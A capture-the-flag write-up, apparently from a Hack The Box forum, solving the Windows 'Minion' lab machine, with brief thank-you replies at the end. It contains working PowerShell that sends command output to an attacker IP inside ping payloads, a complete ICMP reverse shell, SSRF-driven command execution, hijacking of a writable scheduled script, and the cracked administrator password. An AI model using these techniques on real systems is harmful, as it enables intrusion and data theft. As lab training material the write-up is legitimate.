Minion: write-up by 0xEA31

Plain vanilla noob mode. That is to say if you don’t know that the wheel exists, you may reinvent it. Useless? Maybe…

please note that I had to cut out some parts of this write-up (for instance, some base64 encoded text) because it was too log. I hope I didn’t cut some important step(s) out.

Lession learned

  • a lot of powershell-fu
  • a simple ping can save you a lot of time
  • always use dir /R on windows machines: Alternate Data Streams are sneaky!
  • think twice before running into reverse engineering: did you already try the easy way?

Nmap allports

Since we do not get any open port with standard nmaps let’s start an allports scan

nmap -sS -p - 10.10.10.57

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-30 22:27 CET
Stats: 0:07:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 13.13% done; ETC: 23:26 (0:51:16 remaining)
Stats: 0:12:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.77% done; ETC: 23:03 (0:23:06 remaining)
Nmap scan report for 10.10.10.57
Host is up (0.075s latency).
Not shown: 65534 filtered ports
PORT      STATE SERVICE
62696/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 960.00 seconds

Finally we get something: one lonely potato port: 62696

Nmap targeted

nmap -sV -sC  -oA nmap_targeted -p62696 10.10.10.57

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-30 22:54 CET
Nmap scan report for 10.10.10.57
Host is up (0.053s latency).

PORT      STATE SERVICE VERSION
62696/tcp open  http    Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn\'t have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds

Web Server (browsing)

We can browse to port 62696, but before, we should start Nikto and Gobuster in order to (hopefully) get some information out of the box (see next paragraphs for details).
Nothing really interesting there, except a link to a really interesting box maker’s blog and a picture, and, in the html source code, a base64 encoded string.

<center>
<h2>Welcome to Minions Fanclub Site!</h2><br>
<center><br>
(site is heavily under construction)<br>
Designed and maintained by Decoder .. ciao from Italy!<br>
Visit my  <a href=https://decoder.cloud>blog</a><br>
Follow me on twitter: @decoder_it
<br><img src=minion.jpg>
<br>
</center>
<!--
TmVsIG1lenpvIGRlbCBjYW1taW4gZGkgbm9zdHJhIHZpdGENCm1pIHJpdHJvdmFpIHBlciB1bmEgc2VsdmEgb3NjdXJhLA0KY2jDqSBsYSBkaXJpdHRhIHZpYSBlcmEgc21hcnJpdGEu
-->

Let’s decode it with CyberChef just in case that the educated guess on base64 encoding was wrong and we need to try something different quickly.

The educated guess was fine and we get the start of the famous poem “La Divina Commedia” by Dante Alighieri.

Nel mezzo del cammin di nostra vita
mi ritrovai per una selva oscura,
ché la diritta via era smarrita.

I studied it at school, but if you didn’t, just google for it. You will find that it is considered to be the preeminent work in Italian literature and one of the greatest works of world literature according to Wikipedia.

We can also try some basic stego-something tests (strings, binwalk, steghide) on the image, just to quickly put this searching path at lower priority, since we have no promising results there.

So at the moment we have a base64 encoded string. Let’s see if Nikto and/or Gobuster give us something else:

Nikto

nikto -host 10.10.10.57 -p 62696
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.57
+ Target Hostname:    10.10.10.57
+ Target Port:        62696
+ Start Time:         2017-11-30 23:01:58 (GMT1)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/8.5
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie ASPSESSIONIDSCSBQQBT created without the httponly flag
+ Entry '/backend/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ OSVDB-3092: /test.asp: This might be interesting...
+ 7502 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2017-11-30 23:09:53 (GMT1) (475 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

/backend/ from robots.txt

Gobuster

Since this is a windows box let’s start with asp and aspx:

gobuster -u http://10.10.10.57:62696 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50 -x .asp,aspx

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.57:62696/
[+] Threads      : 50
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Extensions   : .asp,.aspx
=====================================================
/test.asp (Status: 200)
/backend (Status: 301)

Web Server (targeted)

http://10.10.10.57:62696/backend/ >> Instance not running
http://10.10.10.57:62696/test.asp >> Missing Parameter Url [u] in GET request!

The second looks promising:

http://10.10.10.57:62696/test.asp?u=http://www.google.com

500 - Internal server error.
There is a problem with the resource you are looking for, and it cannot be displayed.

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1

<center>
<h1>Site Administration</h1>
<table border=1>
<tr><td><a href="">Edit Configuration</a>
<tr><td><a href="">Start/Stop Instance</a>
<tr><td><a href="">View Summary</a>
<tr><td><a href="">View Logs</a>
<tr><td><a href="http://127.0.0.1/cmd.aspx">system commands</a>
</table>

The second is promising. Let’s do some tests:

10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx
[...]
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=texsincet name=xcmd size=40> </form>

If we try it “vanilla” we get (obviously) an error, because the POST is on ‘/cmd.aspx’, that is to say http://10.10.10.57:62696/cmd.aspx, which does not exist.

Since what we found is a SSRF, we have to change the request to 10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx, using a POST method. Luckly, the creator of the box give us the chance to use also a GET (we will confirm this later), so we can input in the browser:

10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=whoami

and get a result. An “unexpected” one:

Exit Status=0
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> 

Let’s do some basic tests…

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\windows
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\temp
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir anywhere
Exit Status=1 

So 0 >> ok, 1 >> ko, as the %ERRORLEVEL%

…and try something more useful (write):

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=echo test > c:\temp\test.txt
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=type c:\temp\test.txt
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=type c:\temp\hjksg uhrghj.txt
Exit Status=1

So we can create files, read files and so on, but we cannot get the content out of the box, at the moment. Let’s use this single bit of information to get some other information:

With time and patience…

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\cmd.aspx
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\asp?????.???
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\asp?????
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\aspnet????
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\default*
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\iis*
Exit Status=0

For sure we can imagine something that, with a lot of time and a lot or patience, will give use any result we’d like, one bit at time. But is there any other way of get something out of this box ?

## (if you copy/paste the following lines please remove the newline)
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=
cmd /c PowerShell.exe -Exec ByPass "Write-Host 'Hello, World!'"
Exit Status=0

10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=
cmd /c PowerShell.exe -Exec ByPass "wget http://10.10.14.121/index.html -outfile c:\temp\index.html"
Exit Status=1 

[storyteller mode on]

With a lot (almost unbelievable amount) of tries, I excluded almost everything (http, https, ftp, tftp, wtf) I could imagine to get any content from the box.

Only at the end - my fault - I tried, after issuing a tcpdump -nni tun0 icmp on my linux box:

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=ping%2010.10.14.121
Exit Status=0

and on the local machine, I got:

23:03:08.044530 IP 10.10.10.57 > 10.10.14.121: ICMP echo request, id 1, seq 6, length 655
[...]

I remember that I almost fall off my chair when I saw it.

But… wait? How can I use it to get something out of there? It’s only a ping!!! Then I remembered that, a long time ago, someone told me that we can change the payload of a ping. May be that someone found a way to get this working as a shell? Let’s google.

According to Murphy’s Law when I googled for it, I came into the wrong shell. Or at least one that I wasn’t able to use.

So I did it mine, almost, kind of “get that file out of there” powershell script (I spent 3 days on it).

[storyteller mode off]

"get that file out of there"™ powershell script

If you are on linux and don’t have powershell get it! (GitHub - PowerShell/PowerShell: PowerShell for every system!).
Since we have do deal with multiple commands, quotes and double quotes, following that hint on the homepage, we can use base64 encoded commands with powershell.

# in powershell (pwsh)
# (if you copy/paste the following lines please remove the newlines and use your ip)

PS /> $string = {$c="cmd /c dir c:\ ";$IP="10.10.14.121";$ic = New-Object
System.Net.NetworkInformation.Ping;$PO = New-Object
System.Net.NetworkInformation.PingOptions;$PO.DontFragment = $True;$r=(IEX -ErrorAction continue
-Command $c | Out-String );$s=([text.encoding]::ASCII).GetBytes($r);if($s.length -gt 1024)
{for($i=0; $i -le 100; $i++){$s2 = $s[($i*1024)..((($i+1)*1024)-1)];$ic.Send($IP,4096, $s2, $PO) |
Out-Null;}}else{$ic.Send($IP,4096,$s,$PO) | Out-Null;}}.ToString()
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
$encodedcommand                                                                                                                                                                                          

#output:
                                                                                                               
JABjAD0AIgBjAG0AZAAgAC8AYwAgAGQ  [snipped]

so the request to be issued on a browser is:

http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell -exec bypass -noprofile -encodedcommand JABjAD0AIgBjAG0AZAAgAC8AYwAgAGQ [snipped]

If you want to see the result on the local machine you should issue a: tcpdump -X -nni tun0 icmp:

tcpdump -X -nni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
23:13:13.044610 IP 10.10.10.57 > 10.10.14.121: ICMP echo request, id 1, seq 6, length 655
	0x0000:  4500 02a3 3f1f 4000 7f01 8d75 0a0a 0a39  E...?.@....u...9
	0x0010:  0a0a 0e79 0800 42c0 0001 0006 2056 6f6c  ...y..B......Vol
	0x0020:  756d 6520 696e 2064 7269 7665 2043 2068  ume.in.drive.C.h
	0x0030:  6173 206e 6f20 6c61 6265 6c2e 0d0a 2056  as.no.label....V
	0x0040:  6f6c 756d 6520 5365 7269 616c 204e 756d  olume.Serial.Num
	0x0050:  6265 7220 6973 2031 3433 422d 3138 3034  ber.is.143B-1804
[...]

It works. And if you want to be smart you can use icmpsh_m.py (icmpsh/icmpsh_m.py at master · bdamele/icmpsh · GitHub) to let the output be human readable:

# open an icmpsh_m.py on the local machine
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python /usr/share/sqlmap/extra/icmpsh/icmpsh_m.py 10.10.14.121 10.10.10.57

#ask again the page via the browser, wait for any output on icmpsh_m

 Volume in drive C has no label.
 Volume Serial Number is 143B-1804

 Directory of c:\

09/04/2017  07:42 PM    <DIR>          accesslogs
08/10/2017  10:43 AM    <DIR>          inetpub
08/22/2013  08:52 AM    <DIR>          PerfLogs
09/25/2017  01:51 AM    <DIR>          Program Files
08/10/2017  09:42 AM    <DIR>          Program Files (x86)
08/24/2017  01:28 AM    <DIR>          sysadmscripts
04/04/2018  01:12 PM    <DIR>          temp
09/04/2017  07:41 PM    <DIR>          Users
09/10/2017  10:20 AM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  13,773,717,504 bytes free

So we can execute, read and write files on the remote system, almost anything that can be done with a reverse shell. Let’s see one more example:

# pwsh
$body = {$IP="10.10.14.121";$ic = New-Object System.Net.NetworkInformation.Ping;$PO = New-Object System.Net.NetworkInformation.PingOptions;$PO.DontFragment = $True;$r=(IEX -ErrorAction continue -Command $c | Out-String );$s=([text.encoding]::ASCII).GetBytes($r);if($s.length -gt 1024){for($i=0; $i -le 100; $i++){$s2 = $s[($i*1024)..((($i+1)*1024)-1)];$ic.Send($IP,4096, $s2, $PO) | Out-Null;}}else{$ic.Send($IP,4096,$s,$PO) | Out-Null;}}.ToString()                                        

$command = {$c="type c:\inetpub\public\test.asp ";}.ToString()
$string = $command + $body
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))                                                                                                      

#outupt
JABjAD0AIgB0AHkAcABlACAAYwA6AFwAaQ  [snipped]

#in the browser
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell -exec bypass -noprofile -encodedcommand JABjAD0AIgB0AHkAcABlACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHAAdQBiAGwAaQBjAFwAdABlAHMAdAAuAGEAcwBwACAAIgA7ACQ  [snipped]

#output on icmpsh_m.py (test.asp)
<%
dim objHttp,strURL
if request("u") = "" then
   response.write "Missing Parameter Url [u] in GET request!"
else  
set objHttp = server.CreateObject("Msxml2.ServerXMLHTTP")
strURL = Request("u")
objHttp.open "GET", strURL, False
objHttp.Send

If objHttp.status = 200 Then
    Response.Expires = 90
    Response.ContentType = Request("mimeType")
    Response.BinaryWrite objHttp.responseBody
    set objHttp = Nothing
End If
 
end if
%>

It works. And we can get the user flag issuing commands with this (ugly) custom pipeline:

  1. create the base64 encoded payload with powershell
  2. send it to the box with the browser (or with curl)
  3. read the output on a running instance of icmpsh_m.py

For sure we could automate all this stuff, but, I’m so lazy… so I didn’t.
For sake of semplicity, I’ll omit the full pipeline in the following part of this writeup, so you will find only the “original” command(s) without the full pipeline madness.

Let’s understand what the server is doing:

#type cmd.aspx
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">
Function RunCmd(command)
  Dim res as integer
  Dim myProcess As New Process()
  Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
  myProcessStartInfo.UseShellExecute = false
  myProcessStartInfo.RedirectStandardOutput = true
  myProcess.StartInfo = myProcessStartInfo
  myProcessStartInfo.Arguments="/c " + command
  myProcess.Start()
  Dim myStreamReader As StreamReader = myProcess.StandardOutput
  Dim myString As String = myStreamReader.Readtoend()
  res=myProcess.ExitCode
  myProcess.Close()

  RunCmd= res
End Function
</script>

<html>
<body>
<%
dim t as integer
if request("xcmd") <> "" then
   t=RunCmd(request("xcmd"))
    response.write("Exit Status=" &t)
end if
%>

#netsh advfirewall monitor show firewall rule name=all

Windows Firewall Rules:
----------------------------------------------------------------------
Rule Name:                            icmp_2
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            Out
Profiles:                             Domain,Private,Public
Grouping:                             
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             ICMPv4
                                      Type    Code
                                      Any     Any 
Edge traversal:                       No
Action:                               Allow

Rule Name:                            icmp
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             ICMPv4
                                      Type    Code
                                      Any     Any 
Edge traversal:                       No
Action:                               Allow

Rule Name:                            http_62696
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            62696
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow

[...]

That is to say only TCP 62696, icmp e dns, on port 53
What about IPv6?

#ipconfig
Windows IP Configuration

   Host Name . . . . . . . . . . . . : minion
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-50-56-AA-34-2F
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.10.10.57(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DNS Servers . . . . . . . . . . . : 10.10.10.2
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{949AA29B-BAB3-4D0E-9346-5AE5763F376C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

No IPv6 in this box!

dir c:\sysadmscripts

    Directory: C:\sysadmscripts

Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         9/26/2017   6:24 AM        284 c.ps1                             
-a---         8/22/2017  10:46 AM        263 del_logs.bat
    
type c:\sysadmscripts\c.ps1

$lifeTime=1; # days
foreach($arg in $args)
{
    write-host $arg
    dir $arg | where {!$_.psiscontainer} | foreach
    {
        if((get-date).subtract($_.LastWriteTime).Days -gt $lifeTime)
        {
            remove-item ($arg + '\' + $_) -force
        }
    }
}

That is to say: it deletes all the file (to be precise: everything that is not a container) if it is older than 1 day.

#type c:\sysadmscripts\del_logs.bat

@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs 
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt

that is to say: it uses the script above to delete c:\accesslogs

Let’s have a look to the logs type c:\windows\temp\log.txt

We cannot read it but…

dir c:\windows\temp\log.txt
12/08/2017  01:31 PM           198,115 ...                    log.txt

…after a while

dir c:\windows\temp\log.txt
12/08/2017  01:36 PM           198,154 ...                    log.txt

It changes over time, every 5 minutes. Let’s check the scheduled tasks:

SchTasks.exe
INFO: There are no scheduled tasks presently available at your access level.

But can we modify sysadmscripts files?

icacls c:\sysadmscripts\c.ps1

c:\sysadmscripts\c.ps1 NT AUTHORITY\SYSTEM:(F)
                       BUILTIN\Administrators:(F)
                       Everyone:(F)
                       BUILTIN\Users:(F)

Successfully processed 1 files; Failed processing 0 files

icacl sc:\sysadmscripts\del_logs.ps1
c:\sysadmscripts\del_logs.bat NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Administrators:(F)
                              Everyone:(RX)
                              BUILTIN\Users:(RX)

Yes, we have full permission on c:\sysadmscripts\c.ps1 with (BUILTIN\Users:(F))

Get the user flag (and try to get the administrator flag)

Let’s change c.ps1…

echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1

…remove double quotes on test.ps1…

(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1

…overwrite c.ps1 with our code…

copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1

…wait up to 5 minutes…

type c:\temp\user.txt
40b949f92b86b19a77986af9faf91601

…cleanup after ourself.

copy c:\temp\c.ps1.bak c:\sysadmscripts\c.ps1 
del c:\sysadmscripts\test.ps1

Getting the root flag

Ok… to be honest I asked for an advice and someone gave me some hints to get an almost working interactive reverse shell based on , so I was able to work faster.

$IP = "10.10.15.165";$c = New-Object System.Net.NetworkInformation.Ping;$opts = New-Object System.Net.NetworkInformation.PingOptions;$ops.DontFragment = $false;$c.send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes("PS:>"), $ops);while($true){sleep 2;$comms = $c.Send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes(""), $ops);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$c.send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes($reply), $ops);}}

We can send it to Minion base64 encoded:

#encode it
cat shell.ps1 | base64 -w 0
JElQID0gIjEwLjEwLjE1LjE2NSI7  [snipped]

#send it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=echo JElQID0gIjEwLjEwLjE1LjE2NSI7  [snipped]

#decode it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=certutil -decode c:\temp\shell.b64 c:\temp\shell.ps1

#setup locally
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python /usr/share/sqlmap/extra/icmpsh/icmpsh_m.py 10.10.15.165 10.10.10.57

#run it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell.exe -exec bypass -noprofile c:\temp\shell.ps1

But there is more than the flag on decoder.MINION desktop.

cmd /c 'dir /R c:\temp'

 Volume in drive C has no label.
 Volume Serial Number is 143B-1804

 Directory of c:\temp

01/28/2018  03:11 PM    <DIR>          .
01/28/2018  03:11 PM    <DIR>          ..
09/04/2017  06:19 PM           103,297 backup.zip
                                    34 backup.zip:pass:$DATA
08/25/2017  10:09 AM                33 user.txt
               5 File(s)        122,467 bytes
               2 Dir(s)  13,793,255,424 bytes free

Get that “pass” out of the ADS with powershell -str parameter:

get-content c:\temp\backup.zip -str pass
28a5d1e0c15af9f8fce7db65d75bbf17

Is this a password?

net use * \\minion\c$ /user:minion\decoder 28a5d1e0c15af9f8fce7db65d75bbf17
net use * \\minion\c$ /user:minion\administrator 28a5d1e0c15af9f8fce7db65d75bbf17

No. Is this a (already decoded) hash? https://crackstation.net/ || https://hashkiller.co.uk/md5-decrypter.aspx

28a5d1e0c15af9f8fce7db65d75bbf17	NTLM	1234test

Get that flag!

net use * \\minion\c$ /user:minion\administrator 1234test
Drive Z: is now connected to \\minion\c$.
type  Z:\users\administrator\desktop\root.txt

In order to get the flag you have to launch root.exe located in this folder!

Z:\users\administrator\desktop\root.exe
Are you trying to cheat me?

censored? ok… long story short, there are plenty of ways of get this done, but since we used powershell so far, we can issue some powershell commands on the remote machine as minion\administrator:

$user = "minion\administrator"
$pass = "1234test" | convertto-securestring -asplaintext -force
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $pass
$session = new-pssession minion -Credential $cred
invoke-command -Session $session {cat C:\users\administrator\desktop\root.txt}

In order to get the flag you have to launch root.exe located in this folder!

invoke-command -Session $session {cmd /c C:\users\administrator\desktop\root.exe}
Are you trying to cheat me?

CENSORED?!???!??

invoke-command -Session $session {cd C:\users\administrator\desktop; .\root.exe}
25afc18b756db15085428015928a1cf1

Much better… done.

Bonuses

Some selected powershell-fu:

  • $pid shows the current process
  • stop-process $pid kill myself (the shell)
  • exit num exit with num
  • get-content some_file_path -str ADS_name to get the content out of an ADS

Rabbit holes?

You may wonder if I forgot to download and examine secret.exe (found in c:\users\decoder.MINION\Desktop\backup.zip) and c:\users\administrator\desktop\root.exe files. Yes and no. I actually downloaded backup.zip and used radare2 (r2) to analyze it, getting nothing interesting from it, but I did it only because it “failed” to give me any info when started on the Minion box. I personally don’t think that this is even a rabbit hole, since, after thinking on it, I realized that an ADS “appended” to a zip is an interesting place to hide something.
root.exe, since I asked him politely (i.e. after a cd to c:\users\administrator\desktop), gave me what I wanted so… task completed, period.

Great write-up, Thanks :+1:

As the creator of Minion I can only say: Fantastic writeup!

great job

excellent write-up, with your mind process.

Amazing…

Thanks for the effort. Much appreciated